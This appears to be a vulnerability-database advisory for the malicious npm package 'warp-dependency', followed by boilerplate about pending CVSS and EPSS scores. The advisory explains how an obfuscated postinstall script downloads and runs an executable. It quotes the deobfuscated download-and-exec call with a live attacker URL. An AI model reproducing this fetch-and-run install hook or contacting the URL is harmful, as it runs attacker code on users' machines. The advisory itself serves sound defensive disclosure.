Vulnerability
Malicious code in warp-dependency (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (493b3ed30d94fb482e4b9c7cf3d328ba9b307f91965783f0024ec7dca1fedb96) warp-dependency@1.0.0 declares `postinstall: node index.js` in package.json. The index.js entry point is heavily obfuscated using obfuscator.io-style string-array rotation (`_0x345c`/`_0x1de1`) that hides the download URL, target filename, and the require targets (`fs-extra`, `node-fetch`, `child_process`). When deobfuscated, the top-level code performs `downloadFile('https://recorder-our-betting-chair.trycloudflare.com/page', 'bss.exe')` followed by `child_process.exec('bss.exe',...)`, writing and running an opaque Windows executable next to the package on every install. trycloudflare.com is an anonymous ephemeral tunneling service commonly used as throwaway dropper infrastructure; the URL is unpinned and the binary is unsigned, unhashed, and unrelated to the package's stated 'Mac UI for Windows Toolkit' purpose. The package name also typosquats the legitimate 'warp' brand. Every `npm install warp-dependency` silently runs attacker-controlled native code on the installer's machine.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence